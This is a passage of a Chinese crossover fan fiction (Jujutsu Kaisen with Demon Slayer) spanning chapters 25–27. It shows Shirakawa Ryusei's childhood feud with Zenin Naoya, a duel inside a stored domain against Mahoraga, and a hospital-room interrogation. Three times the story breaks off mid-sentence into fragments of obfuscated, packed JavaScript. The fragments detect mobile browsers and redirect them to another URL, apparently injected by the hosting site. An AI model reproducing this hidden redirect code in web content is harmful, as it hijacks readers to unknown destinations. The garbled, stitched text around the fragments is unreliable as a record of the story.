“我看你也不用去了,这么点咒力,还想当咒术师?”禅院直哉感到自己抓住了对方的痛点,大声喊出禅院家的格言,“非禅院者非术师,非术师者非人。废物琉世,不管你怎么努力,这辈子也只能当一个可悲的废物,一生都触不到我的脚趾!” “你没事吧。”眼神从不悦变成了怜悯,“你是咒术师,也打不过我啊。” 在这一刻,禅院直哉引以为傲的出身、天赋,被对面人轻飘飘的一句话戳得粉碎。 白川琉世并不是只会挨骂不会动的傻白甜,心情不好的时候也会打直哉一顿,那种把一秒拆分为24帧,还能预设自己和目标动作的能力,虽然有点意思,但并不难缠。 禅院直哉发动术式的前提条件是视野里有对方,并且触碰到对方,但琉世能轻松跟得上24帧里的任何一拍,也不会被直哉碰到,除非是故意的。直哉曾经没忍住,拉下面子问他怎么做到这点的,白川琉世理所应当地说,“因为我每天都锻炼身体。而且,像你这样吊儿郎当的人能做到的事,我肯定做得更好。” “我那是继承了投射咒法的术式,根本不是随便谁都能做到的!” “哈哈,骗人的吧,这么平庸的术式你在骄傲什么啊。” 自视甚高的人被人否定,是对整个人生的终极侮辱。于是,今天的禅院直哉,连带着累积的怒火,决定送给白川琉世一个终生难忘的教训。 …… “就是这个地方了。” 一道高大的近乎把他们吞噬的铁门,泛着锈气和隐隐约约的腥味,门口是黑暗的长廊,仿若某种吃人怪兽的食道。 “你为什么找我帮忙,不是讨厌我吗?”矮一点的小孩拨弄着门锁,嘴上虽然质问,但手上一用力,那挂着几十斤锁头的锁链就这么断了。 禅院直哉看着和自己差不多外形的胳膊,心里骂了声怪物。 惩戒室不是什么重要的地方,咒灵都被结界封印着,上锁也只是个形式。禅院直哉谎称有重要的东西丢在里面了,要白川琉世帮忙进去找回来。 禅院直哉几乎是咬碎了牙,装模作样地微笑,“因为你比较强,这里太黑了……” “啊,原来你怕黑啊。” “我才……,呃……。” “让我帮忙也不是不行,但你说话太讨厌了,要先给我道歉才行。” 马上就能得逞的计划,让禅院直哉忍下了平时绝不可能忍的愤怒。想到白川琉世即将被咒灵围住的场景,他扯出愉悦又恶意满满的笑容,“当然,我道歉。” “让别人帮忙,也要说‘请’,你妈妈教过你吧。” 妈妈?禅院直哉已经没什么印象了,那个女人虽然还活着,但因为没什么用,吸引不了禅院直哉的注意。 “请你帮我。”他刻意摆出一副可怜兮兮的样子。 看起来,那个傻子马上就要同意进去了。 铁门随着一只幼小的手,缓缓打开。 “怕黑当然要克服一下了,我们一起去吧。” 禅院直哉慌乱间正想着托辞,白川琉世脸上一直挂着的,淡淡的笑容却消失了。 “你还真是一个谎话连篇、心地丑恶的坏孩子。” 那双金色的眼睛,奇异般的让禅院直哉感觉整个人像被冷水兜头浇下。 “这里咒灵的臭味,可是在你们家大门外都能闻到。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337675|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我们之间,也没有什么要命的仇恨吧。” “原来你是真的想杀了我。” 属于孩童敏锐的触感,令禅院直哉压力剧增,身体的每一个毛孔都叫嚣着快逃快逃,快躲起来,在三伏的盛夏中,冷汗湿透了背后的衣料。 很奇怪,没有觉得有生命危险,但那股压力却让人直面了“死”的重量。 “琉世?直哉少爷?” 得救了。 禅院直哉回过神来的时候,才发现自己正急促地喘着气,教导琉世的师父正从远处找了过来。 那个人禅院直哉没有太大的印象,只记得是炳里一个实力还不错的人,侍女闲聊时,说他前段时间嗑坏了头,破了相。禅院隆走近时,果然露出来脑门上的缝合线,这让禅院直哉心生鄙夷,等以后他做了炳的首领,绝不会放这种丢人的家伙进去。 “琉世,你怎么跑到这里来了,我等你很久了。” “隆师父,”白川琉世开朗地笑起来,“被你们家主的儿子为难了,一时间走不开。” 禅院直哉:你是一点空气都不会读,就这么把实话说出来了? 禅院隆也尴尬地笑了两声,一双狡黠的眼睛,眼神在两个孩子之间打转。 “直哉少爷,您可能并不清楚,”禅院隆一副心知肚明的神色,“这里可是很危险的,像直哉少爷和琉世这样的孩子,没有大人的陪同绝对不可以进去。” 有人递台阶,禅院直哉马上就麻溜地下去了,“是吗?既然是这样,那我还是回去好了。” 禅院隆要白川琉世站在原地等他,送了禅院直哉一程,在确定走出了足够远后,他低声说,“直哉少爷,那是产屋敷家送来的孩子,您知道吧?” 禅院直哉点点头,产屋敷家是日本知名的大财阀,他虽然不知道产屋敷家到底有多少钱,但察言观色得来的结果是,肯定比禅院家有钱。 捧高踩低的天性,让他虽然看不惯白川琉世,却也没有做在大人眼里出格的事。但是今天的事情,让头脑刚刚冷静下来的直哉感到后怕。如果进了惩戒室,白川琉世得到的可能不仅仅是一个教训,他绝对会没命。 到时候,父亲肯定会非常、非常生气。 禅院隆显然非常了解直哉。 “直哉少爷差点就闯了大祸,不过,不用担心,我不会告诉任何人的。”他弯腰靠近直哉,影子把小孩笼罩在其中,“这是我和直哉少爷之间的秘密。” 这个人还挺上道的嘛,这是禅院直哉对这件事最后的想法。 之后他正常地回到自己的院子,直到晚上,听说琉世和禅院隆出了事,但具体发生了什么,并没有人告诉他。不仅如此,因为心虚,他也不能表现出很关心这件事的样子。 记忆只剩那天回头时,禅院隆目送他离开的样子,半张脸藏在阴影里,表情似笑非笑。禅院直哉忽然生出一股不适的感觉。 那个人,之前就是这么圆滑的性格吗? 当晚,禅院直哉做了噩梦,一夜不停地惊醒。 第二天,传来禅院隆的死讯,白川琉世被送离禅院家。 至此,白川琉世就完全消失在了禅院直哉的人生中。 25.第 25 章 并非完全消失。 对于禅院直哉来说,白川琉世是他自找的阴魂不散。 眼看白川琉世、五条悟和禅院直哉似乎有什么陈年旧事要说,七海拿着白川琉世的书包挪到了家入硝子旁边。书包拉链上还挂着一个拳头大的小鸡玩偶,独特的风格一看就是夜蛾老师的作品。 “拉链是打开的,看看是什么伴手礼吧。”这么对家入硝子说着,七海从中掏出一个袋子,“是甜品啊,中规中矩。” “一看就是根据悟的喜好买的。”家入硝子锐评。 “提前分掉吗?给你。”先后掏出两个袋子递给伊地知和家入硝子,手在包里掏第三个袋子时,碰到了坚硬的,奇怪的东西。 这个手感……还在猜测到底是什么,眼睛就更快地看过去了。 一本书斜斜地插在书包里,封面是粉嫩色系的,七海一个字一个字地辨认过去。 《辉夜大小姐想让我告白~天才们的恋爱头脑战~》 七海僵住了,仿佛看到了什么不可名状的可怖之物,手臂自动伸直,想把书包拿得离自己远一点。 他这一生行善积德,这种东西不是他该看到的吧? “怎么了七海?” 家入硝子凑过来看了一眼,差点把雪糕棍吞下去。 她和七海面面相觑,像被这本书戳到了痒痒肉,忽然憋起笑来。 恋爱轻喜剧在咒高。 太有创意了吧,白川这个家伙,真是为她的高专生活落下了浓墨重彩的一笔。不得不说,他还是很会抓题的。 把大小姐自动换成五条大少爷,家入硝子笑得眼泪都要出来了。 “怎么了?”伊地知在旁边看了一会,也按捺不住好奇心。七海顺势把书包扔在了伊地知怀里,像甩脱了个大麻烦,长舒一口气。 伊地知低头,严谨地默念了一遍书名,脸整个涨红了,做贼一样紧紧捂着书包。 看着反应这么大的前辈们,伊地知在心里为白川琉世辩解。虽然在喝甜饮料的男人都被看作没有男子气概的日本,白川看少女漫画的反差实在太大,但是,作为同学他是绝对不会嘲笑白川的。 想起白川琉世宿舍里满地的少年漫,伊地知从没在里面见过少女漫的影子,忽然转性看少女漫画,白川不会是有喜欢的人了吧? 谁?家入前辈?不不不,白川看到家入前辈从来不害羞的,但是学校只有家入前辈一个女生。倒是看到五条前辈会害羞,但是五条前辈是男生。 推理很严谨,但现实很荒谬。 “你们几个,老师可是在这的。”看着这几个人鬼鬼祟祟的样子,而且伊地知紧紧捂着琉世的书包,夜蛾正道可以断定,琉世带了违禁品到学校。 在夜蛾正道的示意下,伊地知绝望地拉开了书包。 夜蛾正道:…… 看着那个颇具少女心的封面,夜蛾正道愣了一下,露出微笑。 什么嘛,看他们这么紧张的样子,还以为是什么呢。 这也算他这群令人头疼的学生,少数显得可爱的时候了。 几个人围在一起嘀嘀咕咕,引起了白川琉世的注意,他在和禅院直哉打嘴炮的间隙转身大喊,“喂,你们背着我和悟说什么呢” 这下就连夜蛾也有点慌了,把书包挡在身后,冷静地摆出身为老师的威严,“在说你可能会拿到无证驾驶和超速的处罚。” 白川琉世:…… 对手这么惹人讨厌,偏偏友方又不体贴。 所以说,还是早点解决这烂摊子为好。他走到擂台中央,对禅院直哉挑衅地拍了拍手,“像你这样的人,不管是憎恨、忽视还是欣赏,对我来说都毫无意义,所以赶紧上来打。” “少说大话,”废物这词在嘴边,硬生生被他压下去,“你以为我还和以前一样吗?” “……谁知道你以前哪样。” 禅院直哉也站到台上,腰上别着一把短刀。白川琉世比他预想中的更加难缠,按照之前的打算,他对自己如今的实力非常自信,只要不停地运用投射咒法,找出白川琉世“僵直”后的破绽,就能一雪当年之耻。 然而,那个废物,同样是个怪物。 想起那一刀的威力,禅院直哉心里的嫉恨翻江倒海。他并不是遇到强者就丧失战斗意志的废物,也不是无法客观看待自己与他人实力的傻子。但是,不管是偷袭还是耍阴招,这次他一定要赢。 既不是甚尔,也不是悟君,白川琉世有什么特别的?有什么资格也把他踩在脚下?一定要打败这个人,否则,他的人生就无法铺展开来。 …… 本来就不觉得禅院直哉算什么高手,真交上手就更失望了。 “喂,如果我现在就把你扔下去,你会不会很丢人。”白川琉世游刃有余,甚至带上了点无赖的笑容。 “哈,没有张狂的资格,就不要这么得意。”禅院直哉在攻击的空隙,双手按在腰间的短刀上,“你也差不多该明白,就算再怎么装摸准样也无法像咒术师一样活着了。” 那柄短刀被他猛的拔出来。 “好好享受吧!” 刀出鞘后,却不见刀刃,本该是刀刃的地方,由刀鞘传来一股强大的咒力。 “这是?”京都校的校长乐岩寺,似乎察觉到了什么,“禅院,停下!” 然而,那种庞大咒力的运转方式,以及之后凝聚而成的—— “领域?”五条悟相当惊讶。 禅院直哉:“哈哈哈哈,没错没错,这就是我期待已久的……领域展开,嵌合暗翳庭!” 顷刻间,擂台上的两人,就被黑色的封闭式领域完全包裹了起来。 “领域展开?”夜蛾正道皱眉,“这并不是寻常的领域展开吧,禅院那把咒具到底是怎么回事?” 虽然个人赛并不禁止使用咒具,但大家都有分寸,切磋不会下死手。禅院直哉那把咒具却不一定,他对白川琉世的恶意明显太超过了。 “那不是禅院直哉的领域。”五条悟跳上擂台,在领域的边缘停了下来,“嵌合暗翳庭,是禅院家继承十种影法术术师的领域展开。而他们家继承了十种影法术的人,现在只有一个。” 那就是今年小学一年级的伏黑惠小朋友。 虽然没明说,但大家多少都听说过这事。之前五条悟为了收养禅院家十种影法术的那个孩子,花了整整十个亿。 “喂,乐岩寺老爷爷,那把咒具是跋折罗吧?” “应该没错。”乐岩寺提出,“特级咒具跋折罗,能储存任何一个领域展开,使用咒具的人能借此展开一次其中储存的领域。” 五条悟:“嵌合暗翳庭,是某代十影法存进去的。” 乐岩寺:“只有这一个可能了。禅院这种做法实在无理取闹,五条,你从外面把领域破坏吧。” 五条悟皱眉,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349341|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啧,老子从刚才开始就试着破坏了,但是,针对现在的情况,禅院直哉应该是拿什么条件做交换,加固了领域的外壳。” 禅院直哉,看来蓄谋已久。 “琉世他应该可以的。”夜蛾正道安慰自己看起来异常挂心的学生,“他和其他人都不一样,那种惊人的战斗本能,不会轻易被领域展开困住的。” …… 黑暗,纯粹的黑暗,好像墨汁打翻糊满了世界每一个角落。 在这个触目皆暗的空间里,白川琉世不停地躲避脚下凝成手状的影子,满地的影子让他根本没有下脚的地方。 刚一落下脚步,手状的影子一左一右,蜕变为大蛇和□□状的影子,大蛇用身体卷住他,□□也伸出舌头,把他黏在原地,同时,上空俯冲下来一只翅膀宽大的鸟禽类,一双爪子死死抓住他的肩膀。 别的不说,□□这也太恶心了。 “这就是我们禅院家的十种影法术。” 禅院直哉站在对面,不远处,一头巨大的象正对准了白川琉世,从鼻子中喷出超高水压的水流。 不好! 被三个影子牢牢固定住,白川琉世感觉全身被按在地上动颤不得,如果被这水流击中,最轻也是个致命伤。 右手还抓着刀柄,但手臂被固定的姿势无法挥刀。白川琉世深吸一口气,用尽全身力气紧紧握着日轮刀—— 日之呼吸·四之型·幻日虹。 刀刃变红的瞬间,马上松开手,赫刀直直砸到大蛇身上,影子也松动了一下,就在这刹那间的空隙中,白川琉世扭转身体,挣脱出桎梏。 堪堪躲开水流,几乎是同时,他抓起赫刀—— 日之呼吸·五之型·火车。 身体腾空,如锚定猎物的鹰隼般,斩断了禽鸟的头颅。 日之呼吸·六之型·灼骨炎阳。 落地后,赫刀带着灼热的气浪,划过大蛇和□□的头颅。 三杀! “这怎么可能?” 禅院直哉失控地喊出,在这个领域中,他暂时获得了嵌合暗翳庭的掌控权,能自由使用式神,随意用影子制造自己的分身。禅院家的式神不是纸糊的,怎么可能这么轻易被击溃? 可惜,嵌合暗翳庭是召唤型的领域,如果是斩击型的,白川琉世被抓住的瞬间就已经死了! 雷之呼吸·一之型·霹雳一闪! 那是如雷击,不,远超雷击的迅速一击! 速度之快,连自动触发式的满地的影手都来不及反应。 巨象的头,也已被白川琉世斩下。 “这怎么可能!”禅院直哉不可置信地大喊,“单凭你这把刀……!” 跋折罗里,可不是什么垃圾领域都配存进去,这里面存的可是禅院家最强十影法的领域。 “什么可能不可能的,你还要说几遍啊,我这把刀还轮不到你瞧不起。” 他接连不断地斩下各种影子形成的动物头颅,直到禅院直哉公开术式,才明白这东西叫“式神”。 “你确实让我没那么无聊了。但是,使用的根本不是你自己的能力,多少有点丢脸了,直哉。” “你很快就永远不会无聊了。”暂时的僵持,没有让禅院直哉慌张,手握底牌令他自信十足。 儿时惩戒室前的屈辱,全部化为了将要梦想成真的兴奋。 “出来吧,八握剑异界神将魔虚罗!” 26.第 26 章 距离白川琉世和禅院直哉进入领域,已经半分钟了。 出于对白川琉世实力的信任,东京校的人没有表现得很轻松,但也不是太紧张,最了解其中险恶的,只有五条悟一人。 在咒术活跃的平安时期,有座天皇钦封的寺院,为真言宗的官方寺院——东寺。寺庙里供奉了三件神物,按照现在的说法,应该算特级咒具。 三件神物分别是,神武解、跋折罗和飞天。 五条家作为传承千年的古老咒术师家族,流传下来了一些不为人知的秘辛。那些东西就算是咒术界的人,知道的也很少,只有同为御三家的人能了解一些。剩下的人,就连咒术总监部的一些老橘子,因为家族传承不够,就算活得久,对一些东西也只是雾里看花,只知其然不知其所以然。 传说,两面宿傩抢走了东寺的三件神物,在他死后,神武解不知所踪,飞天在黄泉津御命手里,后来转赠加茂家,跋折罗几经转折流落到禅院家。 神武解下落不明,五条悟也不知道它附带的术式是什么。飞天的术式是储存一次“术式”,跋折罗的是储存一次“领域展开”,这点不算秘密。不过,具体储存与施放的情况,只有加茂家和禅院家的人才知道。 五条悟唯一知道的事,就是跋折罗中储存的领域,是千年前已经调服了魔虚罗,史上最强禅院家术师的! 如果在领域中召唤魔虚罗,到底算哪种?从禅院直哉的性格来看,如果召唤魔虚罗,需要付出没有继承十影法,自然也没机会调服过魔虚罗的禅院直哉的生命,他是绝不会以命搏命也要杀掉琉世的。 那就是最坏的结果,既魔虚罗由禅院家先人调服过,这个程序也一并由跋折罗存储,到时候,禅院家后人可以没有代价地使用咒具。 没想到这个禅院家拿来做保险的咒具,会被禅院直哉大动干戈地用在白川琉世身上。 一瞬间,五条悟焦虑地想到,如果当初没有毁掉天逆鉾就好了。 他再次尝试破坏领域的外壳,果然还是不行。 琉世,五条悟慢慢握紧拳头,我可以相信你的吧? …… “以丢弃必中效果为代价,我加固了领域的外壳,现在,谁也不能救你出去。”禅院直哉神经质地笑着,“反正召唤系的领域,必中效果也无所谓。这就是魔虚罗,这是什么样的力量?废物琉世,睁开你的眼看清楚,这是神的力量!” “不想再提醒你了,我不姓''废物'',我姓白川。” 白川琉世看着从黑暗中一步步走来的高大式神。人形状态,皮肤呈现灰白色,没有眼睛,脸上生着四只“翼”状角,右手上绑着一柄长长的剑。 最引人瞩目的,是式神头顶上均等分成八份的转轮。 魔虚罗……,虽然不知道是什么东西,但那家伙身上传来非人的恐怖力量,有着不低于最上启示的压迫感。 最上启示是灵体,他是对灵魂有绝对掌控能力的黄泉津御命的转世,两者的天敌属性,消弭了巨大的实力沟壑。 完全被他人控制着的式神,看来只能硬打了。 紧握着刀,白川琉世没有急于攻击,等着魔虚罗右手的剑刃一挥—— 呼吸,然后把身体的机能调动到最佳,躲开,必须要躲开。如果被刚才那些动物式神打到,最轻也是个致命伤,但被这把剑斩到,白川琉世的本能告诉他,包死的。 剑刃从耳边削过,一股巨大的能量撞击在远处不知什么的壁上,产生地动山摇般的威力。那应该是领域的外壳,从内部几乎无法打破。或许因为魔虚罗是领域本身的产物,它的攻击也无法对领域造成伤害。 白川琉世记下外壳的位置,如果实在不行,那就只能试着去斩破领域了。 那么在此之前—— “顺便一提,魔虚罗的能力是适应,它拥有调和和适应一切现象的能力。”禅院直哉进行术式公开,为本身就强到可怖的魔虚罗再加一层buff,“你越强,它就越强,除非你真的能一刀击败他。好好享受你最后的战斗吧!” 术式是适应,这是禅院直哉白送的信息。 其二,他那把剑也不同凡响,上面的气息不像其他式神的咒力,攻击过的地方也感觉不到任何残秽。比起属阴的咒术,是某种正极的能力,但也并不是反转术式。 躲过第二、第三道攻击,魔虚罗的速度也越来越快。从一开始的轻松躲过,到后面的竭尽全力,禅院直哉所说的适应一切现象,同样包括速度! 既然如此,呼吸法就更不必说了,要么一击必杀,要么也只能被他不停适应自己的能力。然而,在极快的变化下,白川琉世根本没时间想到任何破解的方法。 又一击落下—— 绝对躲不过了。但是,这还只是对方的平A啊! 深吸一口气。 “水之呼吸……” 既然目前是咒术师,难免会遇到对手展开领域的情况,悟曾经说过,他对领域这方面短板太大,这点他也考虑过。 或许是第一个日之呼吸的使用者太强,白川琉世使用它时,填满心脏的只有锐不可当的战意,那是完全不需要防御,属于绝对强者的呼吸法。 想要开发出像简易领域或者领域延展一样,能够对抗领域展开的能力,那么…… “十一之型·凪。” 风平浪静。 凪的效果,是使进入自身刀刃攻击距离内的所有攻击无效化。这是鬼杀队流传下来的十一之型的解释,总共只有一句话。 因为从始至终只有创造它的前代水柱会用,并不收录于水之呼吸的全部招式中。 曾经无论如何都不能理解这招,只是站在原地,怎么会让对手的攻击无效化呢?就这么什么也不做…… 白川琉世双手持刀,以一种放松的姿势,刀刃斜着朝向地面,仿佛旋涡中最平静的中心。 说他天才也好,幸运也好,以前从没遇见过这种程度的强大对手。如果遇到无法战胜的强大对手该怎么办?没有真的去思考过这个问题。无法战胜,但也不能认输,那就只要承受住对方的攻击就好了。 就像水面承载船只,大海承载散落进的雨滴。 能量凝结成的剑刃,达到白川琉世身前,触之即散。魔虚罗停在原地,头顶上的转轮发出转动的声音。 “嘁,算你运气好。”禅院直哉焦躁起来。 这家伙的所谓呼吸法,竟然能达到简易领域一样的功效。 白川琉世平静地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352351|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着魔虚罗,等待着分析转轮后的形势—— 转轮,怎么往回转了?不对,又转回来了,又转过去了? 白川琉世和禅院直哉眼睁睁地看着魔虚罗头顶的转轮,像卡住之后被一只手不停前后拧动一样,前前后后,不知道往哪转。 维持着凪的白川琉世,没有轻举妄动。 突然,哗啦一声,转轮似乎被“拧”到了极限,从魔虚罗头顶掉了下来。 ! 这算是……? 他下意识地看向禅院直哉,发现对方也是很震惊的样子。 魔虚罗的身体扭曲了几下,高高举起剑刃—— 白川琉世握着刀柄的手一紧,严阵以待。 但眼前那个大块头,却和自己的剑刃一起,崩裂成了无数片细小的碎片。魔虚罗的身体碎片,自杀攻击一样无差别扎在领域的壁上。 “不是?怎么回事?” 领域消散,黄昏的阳光照了进来,顷刻间就把一切吞噬。 他依旧站在擂台上,安然无恙,不远处,禅院直哉躺在地上,人事不省,身体上布满碎片扎进的血洞。在魔虚罗崩溃时,碎片对他造成了重创。 嗯?虽然这话说的有点不合时宜,但是刚燃起来,怎么就出现意外了? “琉世!” “禅院?” 等的心焦的两伙人终于看到结果了,只是没想到其中一个受了这么重的伤。家入硝子马上上台为禅院直哉做急救,而白川琉世在大家围上来之前,对五条悟眨了眨眼睛。 “刚才我超帅的,可惜悟没看到。” “噗。” 之前太紧张,神经紧绷的厉害,忽然放松下来,五条悟对白川琉世的特意搞笑,反应比往常要大。 笑够了之后,他问白川琉世,“你们在领域里待了九十秒,发生了什么?禅院直哉又是怎么回事?” 只有这么短的时间吗?白川琉世有些惊讶,在领域里的时候,他的大脑每一秒都高速运转,感觉时间无比漫长。 刚想回答,他忽然想起了什么,转头对京都校的人大声说,“不是我下的手,我真的一下还没来得及揍他。” “禅院怎么样了?”夜蛾询问家入硝子。 “还活着。”禅院直哉的伤势在女孩的手中逐渐减轻,“但有一些伤口,不是咒术导致的,用反转术式效果不大。” 金发的少年躺在地上,双眼紧闭,衣服几乎碎成破布,深色的衣料染上大片暗红的血迹。 白川琉世走过去,看到家入硝子指出的那些伤口,无一例外都是魔虚罗那把剑的碎片造成的。 “啊,原来是这样,是有一股很奇怪的正向能量吧,和咒术师们所用的负向的咒力相反,但也不是反转术式的能量。” 家入硝子点头,“没错,那些伤口只能靠禅院自己修复了。” “领域里面到底发生了什么?”乐言寺严肃地问。 “喂喂老爷爷,别一副我是杀人凶手的样子。你们京都校带这么危险的东西上台,这还叫姐妹校吗?” “这点确实是禅院的问题。”乐言寺没有包庇自己的学生。 “我一次把话说清楚,如果那家伙死了的话,跟我没有任何关系。” 27.第 27 章 傍晚,校长室里。 秃头,但长眉毛长胡子的乐言寺校长,正坐在夜蛾对面喝茶。 东京校上一任校长任满离校,下任校长夜蛾的调令已经下发,夜蛾也在几天前搬进了校长室。 以夜蛾对对方的了解,两人还没寒暄两句,话头就直指白川琉世。 “白川的剑招,能创造出类似简易领域的效果,夜蛾,你对这件事了解多少?” “琉世说了,那是他刚刚领悟的能力。至于鬼杀队的那些东西,我并不比总监部了解的更多。” 白川琉世的呼吸法如此强悍,夜蛾正道不信总监部没有偷偷调查过。 乐言寺表面波澜不惊,心底却十分震惊。简易领域由平安时代的咒术师芦屋贞纲发明,是真阴流的招牌技能,也脱胎于剑道。如果白川琉世依靠对剑技的理解,创造出类似的领域,其天分不亚于东京校的两个特级。 “夜蛾,你要做好准备了。” 乐言寺点到为止,夜蛾也明白他的意思。今天以后,总监部会大幅度提升对白川琉世的关注。 不过,总监部的那群老头子相当不识货,琉世的那些杀招,一个个都看不上,只有这个类似于“领域”的剑招才被承认,实际上还是对白川琉世野路子的一种看不起。 “禅院家那边……。” “这个你不用担心,只要禅院直哉这次没死,禅院直毘人就还没那么糊涂。” 夜蛾表示那就好,心想万一禅院家不依不饶,也无所谓,白川琉世意外的和五条悟特别合得来,现在已经属于五条家保护伞下的人,尽管他本人或许还不知道。 这段时间五条悟出人出钱出力,安排自己家的术师推荐白川琉世升级,出钱打通关系,但阻碍势力也相当顽固,费了相当大的力气,势必要把白川琉世卡死在四级。 不过,处于旋涡中的那个人,目前倒十分平静。 禅院直哉因为伤势过重,今晚暂时留在东京校治疗,京都校的一群人因为天色已晚,也住下了。 反正不管哪个咒高,空房间都多的是。 是夜,等到家入硝子的邮件后,白川琉世摸到了她的治疗室。 “人醒了。”疲惫的学姐为他开门,“这里禁止打架。” 白川琉世钻进治疗室的门,房间里摆着几张床,没有铺床单,金属的材质泛着寒冷的光泽,与其说病床,不如说更像专门停尸的地方。 白川琉世毫不怀疑,这些床位用作停尸的时候更多。 禅院直哉穿着白色的病号服,直挺挺地躺在金属板上,对上白川琉世俯视的视线,本来还算平静的表情马上扭曲了。 白川琉世本能地做出捂耳朵的动作。 侮辱性有点大了,禅院直哉怒道:“你什么意思?” 能有什么意思,只是有种这个人开口一定很刺耳的感觉。 “嘘,”白川琉世伸出食指晃了晃,“我有点事想问你,我问你答,多余的话不要说。”他转身问家入硝子,“前辈,如果他说话很难听,我偷偷做掉他没关系吧?” “没关系哦,需要我回避吗?” “不用,太晚了,待在这就好。” 禅院直哉一双上挑的眼睛,无论在想什么都一副使坏的样子,“你想问什么呢,琉世?让我猜猜,那把咒具?魔虚罗?还是我为什么想杀了你?” 白川琉世:…… “我不是都说了,多余的话不要说,真不怕我杀了你?” “开什么玩笑,就算你长得再凶,再怎么威胁我,”禅院直哉笑得很愉悦,“你这种人是不会杀人的。” ? “我们以前见过吧,你以前很了解我?” “你的脑子是不是……。”刻薄的话还没说完,就在白川琉世右手拇指顶开剑鞘的动作中逐渐消声。 “人本来就不会清楚地记得小时候的事,更何况,我失忆过。”白川琉世拉出一把椅子坐在床边,因为失忆的时候年龄太小,他没有当回事,还以为是小时候磕坏了脑子。 但是,前段时候出现的脑门上有缝合线的人,虽然想不起来,但总觉得和禅院两个字有关,再加上那座奇怪的神社和他自己灵魂的秘密,那个缝合线肯定在谋划些什么。 这种从小就被奇怪的人盯上的可能,太令人毛骨悚然了。 他没打算直接去禅院家问,但禅院直哉不是正好在这么。 “失忆?你不是忘了?” “对,失忆。我们之间有什么深仇大恨吗?” 那时候,两个六七岁的小孩能结下什么仇,让十年后的禅院直哉直接想杀了他。 他小时候是个遵纪守法的乖孩子啊,虽然绊子说他有点理解不了人际交往的弯弯绕绕。 禅院直哉睁圆了眼睛,一瞬间与白川琉世对视了,那双十年间,不时会出现在他噩梦里的眼睛,带着轻微且真实的疑惑。 失忆了,不也是忘了吗?可恶可恶可恶可恶可恶,凭什么只有他一个人因为这个烦恼,对方就能风轻云淡地什么也不记得? 眼前的人又不太正常了,白川琉世把刀鞘横在禅院直哉的脖子上,“还能不能好好说话?” “……能。” 禅院直哉:隐忍。 “那接着回答。” 但他怎么会说实话。 禅院直哉错开对方的视线,“哈,琉世,你忘了自己非要去惩戒室,差点把我害死的事了?” 白川琉世反而嗤笑出声。 “你真是个谎话连篇、心地丑恶的人啊。” 这种鬼都不信的话拿来骗人,他真是傻了去问他。 “好了好了,叙旧就这么结束吧。反正也肯定是你自己的原因,然后做了搬起石头砸自己脚的事,这种事很符合你的结局。” 禅院直哉身体猛的一抽搐,挣扎着起来,看起来拼着重伤也要把白川琉世咬死。 “家入前辈,他是不是要咬人?你会治疗狂犬病吗?” “白、川、琉、世!” “咦,红温了诶。” 家入硝子慢悠悠地踱步过来,“现在是下班时间,伤口因为你自己的原因恶化的话,我不会再管了。” 禅院直哉失了力气,瘫在床上急促地喘息。 白川琉世戳了戳瘫在床上的人,“喂,认真的,你们家有没有额头上有缝合线的人?” 额头上有缝合线……禅院直哉走了下神。 “喂,你果然知道吧。” “当然。”禅院直哉露出微妙的笑容,“你问的那个,也不算什么秘密。当初教导你的师父禅院隆,说是做任务时破了相,额头上顶着道缝合线到处跑。说起来,那个家伙死的可惨了,他死了之后,你马上就被送走了,真是绝妙的巧合,对吧琉世?” 话里话外都表明其中肯定有惊人的隐情。 “然后呢?”白川琉世眨了眨眼,一脸认真地看着对方。 然后?禅院直哉生出一股无名火来,这家伙哪来这么单纯的想法,问了就一定要告诉他吗? 当年的事,那个“缝合线”以为他年纪小,和白川琉世又不对付,随便把他哄走了。但是,禅院直哉从来都不觉得自己是好糊弄的人。 他不认为那个东西,是禅院隆本人! “禅院隆”死后,他对这件禅院家避之不谈的事做了调查,一开始并没有人告诉他什么,后来他年龄大了,家里人对他的口风没那么紧了,但事件现场早就随着时间的流逝变得面目全非。 就算如此,他也不惜动用珍贵的咒具,复刻了当时的景象。 没脑子的白痴,这是他对白川琉世唯一的评价。 咒具显示的影像表示,琉世被带到一个没人的房间,等待他的是贴了满屋子的咒文,“禅院隆”在他脑门上贴了个血红的符咒,白痴忽然挣扎了起来,但为时已晚。 “一切顺利的话,希望我们能快点见面。” 这是禅院直哉最后听到的声音。 后来他去查了很多资料,隐约可以明白,符咒是千年前诅咒师曾用过的那种,作用大概是……提取咒灵、妖怪或者魔物的力量? “可笑,琉世,你就这么眼巴巴的,像一个等别人给你肉骨头的狗。”禅院直哉被取悦了,笑得伤口一阵阵抽痛,“我知道你感兴趣的东西,但为什么告诉你呢?” 白川琉世沉默了一小会,看向禅院直哉的眼神闪过危险的光。 